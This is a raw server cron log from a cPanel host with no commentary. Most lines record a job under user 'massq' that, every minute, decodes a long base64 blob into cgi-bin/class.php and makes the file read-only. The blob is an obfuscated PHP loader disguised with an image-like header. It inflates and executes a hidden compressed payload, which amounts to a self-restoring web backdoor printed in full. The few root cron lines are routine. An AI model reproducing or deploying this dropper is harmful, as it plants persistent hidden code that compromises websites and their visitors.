Nov 10 11:33:01 server CROND[28496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:34:01 server CROND[29139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:35:01 server CROND[29775]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 11:35:01 server CROND[29778]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:35:01 server CROND[29777]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 11:35:01 server CROND[29780]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:35:01 server CROND[29779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:36:01 server CROND[30676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:37:01 server CROND[31674]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:38:01 server CROND[32596]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:39:01 server CROND[966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:39:01 server CROND[967]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 11:40:01 server CROND[1719]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 11:40:01 server CROND[1721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:40:01 server CROND[1723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:40:01 server CROND[1722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:41:01 server CROND[2523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:42:01 server CROND[3357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:42:01 server CROND[3358]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 11:43:02 server CROND[4288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:44:01 server CROND[5079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:45:01 server CROND[5894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:45:01 server CROND[5895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:45:01 server CROND[5896]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
